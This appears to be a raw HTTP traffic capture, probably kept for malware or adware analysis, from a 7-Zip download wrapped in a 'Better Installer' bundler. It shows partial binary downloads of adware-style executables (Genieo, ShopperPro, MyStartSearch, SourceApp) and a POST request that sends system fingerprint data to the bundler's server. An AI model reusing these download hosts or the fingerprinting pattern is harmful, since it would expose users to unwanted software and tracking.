<.....J...>.J..0|.;.O.t.;`..*..#..G..S...Ms......~z.Hi..G...f&nk
.<.<.....mn2.46D..^.5;.z.^.2........n.<.n..4._.D..F.VJ.]..YTz
4f......~i.)<..5....L....~.u..4...,pmd..3{..b...cK)G)x..)..-.}[.1..
.N...UC}....S# -'}"~. .*..z.M.$*0..p.I.*W..:C........@.\....m.........
h..TA..q....4x...mBz........._....../....'..A....M..._.]....>...s.y
...m.~)...d.yDN..Q.....-...Xx.D;.m..J.u...R..x.=L.jz).........iP..b.. 
.!.T.-..X...]I........(X".#/..?$......P..d.........2.....'..P.WV..LfRi
..DH:..w...Y...JV.(.....&.\0.........u.Iz.{...0.V^|.....l=.........aj.
.....L...c.q..N....*..H1;z..=...1%.T(;h).....:."e[..G..Z.g.r4U2..S.<
;...o.y..*}...=P...u....g...E..4..."..X.".M... .....\..`iB.=.."..G)b..
.....-.6.t..........4p..........b.>B....f.E........,.F..7X.....<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1250000-1499999/4681922
.........-'K...%[email protected].[[email protected].^(&9....I.{*z.0...../%..d..
.x.T5...Q.....P.-..7...._u.w;[email protected]..?Z......E......?.
zq.$.4....j$U..........,...4~..j...`.R3uHi6..M,`.D..T.....R.r.yG*.P"=.
.ZX.>V...C.Ig.M.I....E...!.6....[....a.....v.....Y..6....sp.V6/..v.
./..~.a1\..N.u...J.Q".......6.=#......<.~.q..|.Ijo.........c.yp..U.
.... ..K`]W)...(....".....;.QD?5 ..2.;]->........P..Z_..;.....W....
.N..Q.{..T...........$..PY..(c..K.,.. ..4.5....V...)2.....t.|.]...I.. 
..cN/.g]`,P).....60..&.........8.H._........_.....rf.....bt=..=.,m....
8..K.%....D......................O,.........4O..MD.O\.].........#F.G..
~.....=.~..U...!A.5k..W...c7.A..CQ0.Y.$....Q...mdD.."u,..z.VF....-S.gK
..X.....}j..`p. ...'.]L...L...-.J.......-h...:....x]...h l...i...h..w.
..........w.L.....".@.!.f..)J.X.u...7.M.MnA#U.]....#.Ts...;..5.;#.9...
...&*.>z.....W:Qn...h.....?v.dYNy..-@.). zt>>...\..l.P..t..q.
..Ah...u.K..R-.....O.....&T.....t.4g..;.a..!.....Jw..[3.A....~.....q..
..Sb....81.Qe8...)I..L....=(...7g.l..\.R..Tq1j.=.O4.d*...I..=Rf..(.F..
.|......Es...............t|B...}*..v.....J..o....C_.e.s.fd..9...6.Z...
%)*..G5..4.e....J.^..Q....Y.M.._.-.......Y...4....s*Qq.j.....`...ub..e
L.....T=......?....R......~#...R.....>..H_R..........k.i....5?..D;.
 .u.....A....G....pG.3;:D.)......?........D..u..=.'].{|.....B.TG..K.jp
....E./@\Lj_........U........C..w.m|....G...F.lt)...3/am.Wq.H..;i.....
./......)xX8...'..X....n.Rb.$`.q.*.9.`...D...........=".K7..i.9VPP4r..
.V...>j?wny..?n.Al....[..}a....-,.O.?N..O...U`.xaW...uY2....i..<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:04 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3500000-3749999/4681922
.k.......\..N4....P........S..q..|=%G...O.....A..gp.us..9......MZo>
..2.FqR...U6.....C.._..M..G.o..d.Z............Jr..<.>....s....U.
........ ....L.._u....,.....7$,y.V,-.o!9^....T......5'...T..R$.f......
m.m.M%.GE.. )....... B..*L3....w.....>%V.x%z.W.w.4..e......Y_k...rO
'...f.VsB......%.*H..:.a.....x'.I.O...oI..r.CDc.....w(L.pG.......PV$..
.pQ...=.r.T.P[.....^....D(.\.bb...'.. ...M....~.W..|..SI....N...o...h.
h..tV......D...b.N..u.0.~....G...<..}.-1.J....../..hx..)Et.,.hz..7.
.E...N.D..u.3CNy.~Cy.|..Yl!........x.h..-.^3x:i.}.f.........d.........
[email protected]&.c.2...Fa.....].5N.bt.~....y(O2...........zQ.S.3..^i..
.V....$....`bs.>D.1.$].w.A.....]..y.=....6G....o...t..E.....r...Y..
.b;.W...:.Qg..*.zY...a..q..4.[h.7...............xQ.DZDC..l3.........{.
.e.....]..=..~....{.-.....O.R..U...T.B..X$..d~..b o..K..`W.A=.....D...
`.5..W....}.....[...U...2)..yv..&U.............~..."...V.#hg.....O...@
.1E...2I.D..lg...?R.3.a.....W9P..O~.w..2w.N ...2..L..TU..T.....b.zI.Mt
a../..X2...~ #B..t.2p_....L.;..r.\...(...Q..t<.N...^x...........K..
 H....l...\<c.f{."T..[E.q.....^k.....C.l.tBw.;y..}...(S9.\4.J.....A
........K.^...v).L7.Z....{iB...>...{...._.Q.Vb]..).#CV..S...k....}'
.B.T(..Ehc....f...v.....b.GZ.f|....L.sb..V....l...9...P....=...Q....A.
.......!H......mY.Vm.[.9BG...RY.>3.S......~.z..huTy...F.."O..S...."
A..@....|......L.[....[..j.t6._~.:.3.....HhH.`V:*B./....:$3.xz..:.x .;
.._....r.H.........}.".....V...9...j4....'*....*.....s....D.^..y7;..Zt
.BU..*v|...F...P....]..Qy.c....O.fY.bb).....ss>....G....6......<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:05 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4000000-4249999/4681922
.a...>..,.m.%0..U  V.v.m\.R.Y..Y=y. .L.......#.....\ch.......Y....H
s!Y4...?....[..<..........r..-..h.....qfP."].q.X.v..G SU..1......0.
.v.../.....UP..d....yU.z...l.pa6......;M.)T..%..U;.`....J.%.*.J..3I...
.a.[..._...n........F.0...n.#:.3N.....5...q.qx.s.N1^!T..].Y*z.:4ZC{...
.M...C.....{..^..'7o..`...0.F...q...N...!.J......&..g.=.ve.....}....!.
.........-.Y.. ...^..\.r..Q.R.{..lI:.j?.Q.0..... 4..U......U..........
..p=.U.D..T.(...W..........R.>....Ft....\....k.........IJ. ....^.QP
.aE....A.O..e<.....e......Gt...../............w....c..~....``.[....
.6N,f.~.w...#....=.D..h. ../.V..D..x.j8Z?.-..o.b..L.E.;j....).O...WDy.
..w;.........}..G....D..,...V......EL=..8.z.,.....U.H.Tp.....f..-B}...
.s,...N......,. 6...&.I.f......;.!|..).......3..o.N.J.hA..x...,..,c...
.../&sl.Y.b\.h.y...]V:..H.O..u.r.~Fm.m.....&.GPbQ*...`E...\......0....
xT?..9D.j.....L.]S..y....*.?1n.3<..V.,?...e.H|^.!......E.j...9.9.n7
..=*/[email protected]. .[^...-...y.......W...x..~..0....2.....B...........
B.x.S.h..........V....,....t...<~.....6g.-G..W...6*..l."..g&..=.#{A
..}l L{.K_....*.7o....}..I...........(.Wv.a~.V.o/....(...W..........G.
.. ..X.........X,...............X......0&.T..N..8...}x.......5cL8.....
....R...l.....)..O}]A..}|..}1...l$..Y{Q..O~.-.r-......H...0l.w..4.....
...].....).I.M.(.".m..<...T.1R.v./.Cp.x....)...8..]X..:..C..mt..x..
..0.&......... ......z...zx1.......fg.o...".X`.%[email protected]
...;:...5....n.8.v..VW.>#d..VT...*...........a?.tsJ..p.....54H..3a.
..5..U=)I;..`D:....7.~..]hWP...C..h%.2..vh4....q..|K.)....\..?....<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 1fq670-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Feb 2015 00:02:05 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: bgWhuXlSFaUnddyvoXUu6fHd AGVXEPj3R6c9c/cvjq7/1l0x fIo UqiOoPk4jF

x-amz-request-id: DB860DA801892DB6

Last-Modified: Sun, 22 Feb 2015 18:20:17 GMT

ETag: "f0c901abae3506a5ebedbbcc2cf894b1"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4250000-4499999/4681922
)..T.x...S...`1.....8...6..1..2....S.a.%.!x.bDZ-Z...2C.zX.%.h.B.ne..a"
g..x.L.q..p.x?..uOsg.R1.*.....I<......)'.V..t.......&..............
1.|.0.q.q...p.:....sW...R.......I..}....{_..f...s.7.....U-^....%..Uq..
..h....H...@@....b...ph......lo.FHYq..kk..l......Hl2i...4Ms.t;...=N.= 
...n.{.l....o.E..o."B..$1.2...\d...b...*Ah.....1/.....O4...M.M.A..J...
...m.1..H&.....}....V.W?..%m.W...a7.J.VO..lr.......*..././5..S.....m..
.4..}..~...}...R4.....1..I.'........OT).8?.....M0r.7...e.7.......vHb.7
..?.:Y.*... ...Y..VW..-........xkQ....hS.K.....'.!....1..2.F.=cqT.@...
 .-....x.............&...._...7'..W.s...4-<...H\Q..X..(..-.{D....._
l.......FW}..1...WM....,%...Y...yO3.p...2[..9S.c.Y..<R..G:..SE.....
7. ......d..^.K...3(.e }ua.....6*G......#.....8G...L ....qxS.nL..4...L
.3.,....`..i......q..'wb....E)..(.....d.*..7...Jn.%$..Y"..........Ej}.
5....7..Gt....#J...M....d. .....M.. |.*Vt..d.H........................
.8aQk[&.&.!.t7^..m.}:m.k..........\....f.........i.S`...u*...4JFGS..I.
.....=\...j.......t.lR...j<...i.....N7.."{$@....?..(.^.p.Pf.a..YK.S
.Fd>....ZVJd5..d;...X...`MS.<.^..... .W..9...A.........!...1_...
.T....=.Z.[... . ./.A...P4..gq.......e........f?k......z.Z...*fr%...6.
...}F2....I..=..........t .,v.u..L.4..F.......I.E.k..;.......x..Y...M.
.|.t0.....U!...Y..r...N.L0.'.........x._...a.Lql....-%.........c.|....
....Y......lL.... Q..g3.1.n..]..3.=..X.5.....Y.....D{.(O.0.....oc"u..;
.<.. ....y....*.4T..._....Z.].J..P.M..1..8.6:....*/.fI.lq...l..ae..
.>.WE...W......rO...1d:.F.....w..um.Y.. %...Dx].&*._...f...~...<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=741306-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: Rgtl5P2gsuNZWvG4qQrBwqhU2maa/9X/P81V20dZT4sKhc4NCMgVytEB3ErhsFYNcua61fKPEwQ=

x-amz-request-id: D62AE970F54ECF19

Date: Tue, 24 Feb 2015 00:04:27 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 741306-988407/988408

Content-Type: application/octet-stream

Content-Length: 247102

Server: AmazonS3
......yM.[....~.....8.^..$5*iD..8.'.~N.1.Dfm.Pz.\..M.a.. .h#....H..&..
.@..............*P......\..d....#V..Q...p7.sY....8FX.....k...~...P....
[email protected].].....y..N.k.%U..L......8..?.....8..x.v...{.e.. .p.Zp..O...JBe.H.
.M.\(..y.d.&.B....H*........5...........uZ...JfY(..;.x.......k..w1....
..>.n.&$I....~K...M......w..#A....D..ms.z...zx.a6.5.BY..k.f...$....
.H|..^.....9...F.m.u-...'...H.w.eYA......{5....R."..d#..z:..0......H..
.....su..........t.5.....8.t....T1...C7.9y......_wO_...b.....)/....^..
....NH...7.;i...U..o...u..k#o....\Z..Ha^..T.H"'......s.........1...U.{
g..r..*o...^.....t%B....o.DV......!...8.....V @j....P.4o.z\..B.8S $z8.
/.x...~sw?ol..f.0}...a..`u.A...(n..o...:.).Ga..h^.jZ.'.c...q..^$..)...
..n.....y~~s[50...E.. ...S._A.F.}...F.e.shd<.4fL...j....|E...'U..e.
B.....Q.!J...K..Q._......6ME....b...`8.!.5.E..........'1.....2.D.SA.Lo
.]../..d.........SP......-n..g*.k.../....G]{..R...6s.....j.;..M.4.....
..s8.Q~.jbx.o.!..G.O... ..C....).:..........n".c.=.q].e..2.D....J..lFn
y../-....e....?......3`.|.......n.A...|h$;.....wu...1...4z9.t..#..f.&g
t;....A.).._..J..Bs/5.b_....C.}.....&...nU?n...Lb.hH....H.o...........
.RE.{...=.v.sjw.m!4f..AC).....1..F..A*..s.......;z^NMQ.P..D.SEf.......
AM........$.qzgM......=.....A.8..y...,......{..|......!...Q....u......
........m...8?......q...t.w...M.yE.D.K.h.........).......|....#...3...
.[.6.G......C..e..T.....!......k=...JuEzV./.w..."Cj.0......~T.N.......
.O.[..G5o..........Q...V.c..H.......'z..mX1.......}w.NE.K....j.1T=.)}.
....zS..9...v......A....$...........r..dc.."r.0..l..h..H.......;..<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=160816-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 160816

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 160816-321631/321632

Age: 941

X-Cache: Hit from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: UJ7ZXkUhC_2CRigKmScL6XdyF8hb1FZ4JK1Gf2FwkpF_HU9BQx-ffw==
..C...T.C.Zf.1f.0......Ju..............L...@;.v.....~....0....C.......
[email protected]............{......95..C...T.......M._^3.[.G
.....j.h..C.......M..........}......._h.u..q....E.;C...W...h ....jD..Y
......F.........wh.....#.S.u......YY.E..........u..vh..l C...u..Fh= .C
.t.P.....Y.^hS.=h C....Fp...........C........j......Y.e...C..$.C..C..(
.C..C..,.C.3..E....}[email protected].=....}[email protected][email protected].=..
..}[email protected] C...u..H.C.= .C.t.P.....Y..H.C.S...E....
.......0j......Y..%...u .. .C.t.S.....Y..D...........e...E..;.....=..C
..u.j..V...Y....C.....3....U...M.VW..t..}...u..KD..j.^.0..|.....A.U...
u.........>.t.FOu...t. ......B..t.Ou...u......D..j"Y......3._^]...U
..3.S3.@9].|FVW..t>.E.... ....E....<..7.E..0..;..YY..u..M.....9.
.y.N.u....^.;].~._^3......[..]...U..Q..tP.>.tKh.IC.V.....YY..t:h.IC
.V.....YY..u.j..E.Ph... .w....!C...t).E...V..;..Y.E...j..E.Ph... .w...
.!C...u.3....}..u.... C.....U..3.f.M.f;.pIC.t.......r.3.@].3.]...V3.. 
.A.B<.w.......A.<.w..........t......u...^.3...B..A|...Z~...a...w
[email protected]....|.t.C.3..E.VW.}.................jx.E.P..........%.........
PW... [email protected]:..YY..u.W.....Y..t..................
.................M._3.^.&.........U..QV..j..E.P..%....h... .....P...!C
...u.3..);u.t!.}..t..E..0W.......V...m ..Y;._t.3.@^....U....|.t.C.3..E
.SVW.}...................... C...jx.E.P.F.....%.........PW....u..f..3.
@.c....E.P.v..L9..YY........jx.E.P.F.....%.........PW....t..E.P.6..9..
YY..u..N......~..R.F..uO.F...t,P.E.P.6.,:.......u..6.N...~......Y;<<< skipped >>>

GET /awde7zip23678/7zip/df2ee0eca619e745941b88b65e390118?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.1232722804.1424736155.1424736155.1424736155.1; __utmb=1.3.10.1424736155; __utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:04:22 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z...6.?.s..D.... ).N..... .-...'...4...$&a.I...r..\
.y..5u.......{GDOk.U.V..x.3n..&I.?....?.{.O....J...<....t..........
>....d^.w..<......c.[~.~|~5.5J.7.xy...V-....`.LO...9.n...N.Z.N..
N....Yr./&..7..'..d4..7..l~..'..;~x1M...`......|<..I.t...w.v1J.w.L.
.t>......1..n.......#........M....O/.~3.w...49......-P*..(....;..vK
....[7.qz<.....q]....r...irU.....S..4m.s<x.....3.-.-..q...t.....
x..^.....).....l....o>gO. ...O...b....x8LF.<t..,.u.aT....l....c.
O....\.=..'.q........$...3...t6..W..i/....n:Hf..h.|.... .j....."....\.
..m 3..T6..,..S....=.cT..E..wd..;..xp._.N.Q{..`.;..y.'f.......SL..y.f.
..3.p.<....q-..yz.....ig|1....i{....W.8.g.JF2..c..,.b..n_m%s.& ..t.
7..9...q..~E...y...........zc.....}....]...q.7./&.q.b<..N....(.x..5
.{../....Y)...^....p...%...O...#&..-)...O..i;.....$.9....~<:?../2.f
.p.0%..E....NA...s.C.^.. .E2.`...i...En..'.ik1..]..;..S.q.<.u0..o.9
.=H...-...>3&...>...ci..}.&H]..[..w..F....}l.t......b:[email protected]...
 $.....G..7_.$....<x..S7...o.....G.:...........#..=x....<.......
^.....-.nmv....:w.p.>...t.{.h.....A.~].....Q..2....o......u....[?@.
.,z....s.............zp.....v=,.............;..A.|.W...... ...wC...]..
...nx.p...............L..t..>*......p.....N.."./......w..8j...#...A
<.%..r/.I(DQ..=M......x....?|=..........N.....IT~.|..Y$..;.-.2....[
.~.....1...9...O.9.[..F..VJ.).....QS...p.&8..N.Z........../...A:.*.. .
..<...M..b:.OJ.5.....6..7.>...p1.;N......f...w.6oD./l{%..O...C&l
t;....R.... .....U.yv0......Ft............q.Pj.d....K;;..9..-U.:7.<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/df2ee0eca619e745941b88b65e390118?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Content-Length: 2255

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: __utma=1.1232722804.1424736155.1424736155.1424736155.1; __utmb=1.3.10.1424736155; __utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1

country=UA&uid_orig=df2ee0eca619e745941b88b65e390118&uid=df2ee0eca619e745941b88b65e390118&affid=awde7zip23678&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=ad2252ce007468623bd139b0adec3423&cu=false&cd=false&tokyo_csrf_key=3d24dd651e102223c8fe826c6ca042dd&tokyo_csrf_timestamp=1424736262&unique_id=false&clientIp=193.138.244.231&ffInstalled=f
HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:04:22 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
f69.............\ks.6.. X...B..W\..'M.N..'...V..EB.j.`.......s..)....i
..CD. pqq....~.."..L.l...q.....k...HT.G.O......8[.".9';.s...DN.%r..".X
.'..X......./...K?.^....6I.3.V.`...K?.Y..G.........8...A.S...s........
q..$wY..........2....c...q..f..g..r.;y.....:...,.....":.xc...2.d.\&..C
.fr.....g ......;|\....z\.3.ZL..].......$.g..w..u..2.[..^7..V,..y6..SW
D.n.u..D,E..E..E.F<...8..t..Ej...........l3..rJ....8.....\.)WE.kQ..
$$.K.@<...........|.l.u..Y...yd..%...|.1....|.-g".MC......E..4.N...
2...z..].".J..#..hz.y.M.,N.c.....0XL.J.......cg..\....E.|.kk..?.p.....
.3.K...MW.!..X.G....]W..&.I...].7.....K.6^..e.u..!...z.A$!..HI.JV.....
...a}J.5...n...eVr.QfXi..a.8-Jks...]c...j.i...fh.Y...y..-t..mR...^...1
u..pl..pk.K.@......:.....>T.$.PS....X....Ye.5...\on..uf.....QX..CZ.
.hJ...Y..u.[.M...S2,E..d.....?.......W}...LN.*.V.o.....S.5.vp4@.......
..I?I...7..8..>...Q=.[.w.UJ........$.3.6...H....)./....R.{f..;.1D.:
...JH.StTN.L(.E..hkk.5.!..UD.P...r./....:<.p/..h..........h.J.{....
......z..:e..fQ......ig|...xMl.dER..5.z.4..(............._.<....cz.
E..$...o.#...".......:*yQ...h..eMU.,...`....hS)....Q&!...4.Y`..H...XE.
...o.@/..$...xj'I.5)..u4.=.<>.. ..}8v..T"d..,"..;.....b?L..Z...W
...W...V.#....4.....c..`..p......&.Xd.. ....\V..9.....5".A.:Z2:z..%.."
.l&.o....."mi.........9.3.......F...G. .^D....Z Z.{.>.H..x.t3....O3
!.3.f.|e..~.q.%.....wx."....%2....`..pxiPi....4.....{.d.t....x.A.....S
|.....S.~...?.......`0.M.....&.H\.....X.....AG.>.."#...t{.q<....
-......2.GK...<.wZW<r..b...;....;.^c.5.............5zB....x.<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=370653-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: 9o7Pt6pC9sf87VVm8Ogvtt29oGIP/79iyCPXsmSTQU/B7iiYgUCxMqsFDREQZ3Hzbks0t23NwSg=

x-amz-request-id: FA2BE3472AF7027B

Date: Tue, 24 Feb 2015 00:02:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 370653-988407/988408

Content-Type: application/octet-stream

Content-Length: 617755

Server: AmazonS3
.......F....T2Y..B..U7...r....yR.5e..v.l.....a:{r.Ju.$..F}R..7Ul.4...N
i]H"x.O.....7..<...._*.;.....}U.).@k?jCE.4C.6|..{E.......1..t.^.<
;..F..z..>[email protected]&.e.......7u.(.q.1....=jm...e....- .......S>.
E.:.Qk..../l..n.J....R..^s... Q72.....Z.....X..IK.D}.. ..1?r~.. ..O..y
...y.7..\.h.Q..w..E...I-._....[.....K.jG.....q.5.*?...R\.f....u..P.?.i
.>l.9`..g..Q...p.f....k.m)...dK..N..).P.............w....!.......e.
.`.:...n..Bp2.jr...td.....~....wi-.P..?j8.j,.....].....K.<H...n....
.2.?".?.....4...QR...<R......c.\....._.%..v.dg.N. ...e.Xe.,&7,MY...
:,e.Z...,% .\.hK.....Y....^T. . ....<.A4.....6.(._x>........V...
...Sx.M.b)5)....Q.....V(..,..<t2.v.b..H.C...K......f];...a.R..14...
#Y..u.Aj....8<...... (.....l.DsaM#..$[_.IM|.WK.[%..[u?~...4.n.%..a.
...."...h/..i...`M.../...............X.\F.q.......;#....f....x.h."....
m..3nK.Jp(k..8.1.../.r.|...(.....#.,.....&%0.y..,......)..5.~.,...V...
;d.Vu...H.4G.#l....gL.j...y..?o...>I..)...g...H.!.;}/.Z..5.j...5...
..uR.......PM{....=...O..hDI...=H.6.PL..a6.!uz(.A........T.w...../..X.
.`\.x.7.'........>[email protected]
.@.^r#U.F...qv..D...j..%....8......r.%...K.....v$...i.t.....c.E......o
1e.Z>."..._4.UM$Keg..D...F...:.-1.ak.........-..|Y..A.#].g3...7..4.
.....Z..-.Q..yS._.uL.nK.e.M..Y"...p0OX...s2$w1....y.....06.)...(..C...
\.gX..>.h&..-.q&1....C..lI..>.W..T.J..MS..l.u.m81.R2..03R..3.<
;.....=X.........m.$wNp(3....D2.5.i..D4E.G..Z..?....eO.R.e......(l.Y..
. .....PE..!.|[email protected]..[XY.dz.;.u....U..r.... a<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:01:05 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=510258-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:01:04 GMT

Date: Tue, 24 Feb 2015 00:01:04 GMT

Content-Range: bytes 510258-583151/583152

Content-Length: 72894

Connection: keep-alive
.^...C.&..N..I....t.{.r.u.<F.kW..%Q.9,.2..Q4.N.l4y....|...u.U.. H..
......u{.......^.?....fC....}......C...%..3C. YR<.V0g.6F1......U...
&7N.3n.....L,..w0..9.........x5o.....d...C..e........|.....)..9%.)3.Xx
...[.}...d..6..Eg..*.2.6....:.q.F.3..[l.r.3..=..!......,#o...u8U7=...q
.M..U........O.....E..-).c...Lx.?'|.............V.H...........![..... 
...e...........R1..._F...U............3I..qH.w9........eCC....d.....V5
...CV.Df....7..P..O..........D.`..;.s1...C ............)...n..(K~.....
.T......lK..'.N2)V..._.Q...5...t..${..>..A..*.F. .....Y.T.&|..vMg=.
........>s.g.b...7& ^.l7..m......:.....e`.....;..ig..M..74NJ.`....a
...n...*j_.V........Ri..c,.]..R.Kr..c..y.B....^.C^4A.[RPG..fT......"..
M...........MYr.......B.[.k.O.M.t]....s...~A.f<~~..i.9....RY}lB..7.
..v-..!U..."\I....M..C.1;..<...xn..O....b...f........l.^......vb.i"
..4.Ah9[..n.....3t.~..w$...........%..l.q.p;.Y:_8p..p.L..%..J&"....6x;
